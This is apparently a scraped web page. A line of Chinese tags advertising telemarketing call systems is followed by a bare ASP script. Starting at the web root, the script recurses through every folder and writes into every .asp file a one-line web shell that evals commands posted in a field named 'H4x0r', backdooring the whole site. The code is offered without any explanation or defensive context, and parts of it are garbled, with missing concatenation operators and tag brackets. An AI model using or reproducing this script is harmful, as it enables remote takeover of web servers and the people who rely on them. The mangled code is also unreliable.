熱門標簽:電銷機器人源碼網盤下載調度系統(tǒng)外呼伊春外呼業(yè)務系統(tǒng)電銷機器人教育宜賓語音外呼系統(tǒng)軟件福建外呼增值業(yè)務線路河北智能外呼系統(tǒng)軟件綿陽防封電銷卡價格中國辦理電信400電話% dim ph dim intfile server.ScriptTimeout = 600 ph=server.mappath("/") Sub InsertAllFiles(Path) Set FSO = CreateObject("Scripting.FileSystemObject") on error resume next Set f = FSO.GetFolder(Path) Set fc2 = f.files For Each myfile in fc2 If lcase(FSO.GetExtensionName(path""myfile.name))="asp" then Set FS1 = CreateObject("Scripting.FileSystemObject") Set tfile=FS1.opentextfile(path""myfile.name,8,false) tfile.writeline "SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')/SCRIPT>" else InsertAllFiles(newpath) end if tfile.close Next Set fsubfolers = f.SubFolders For Each f1 in fsubfolers newpath=path""f1.name InsertAllFiles(newpath)
Next set tfile=nothing Set FSO = Nothing End Sub %> % call InsertAllFiles(ph) %>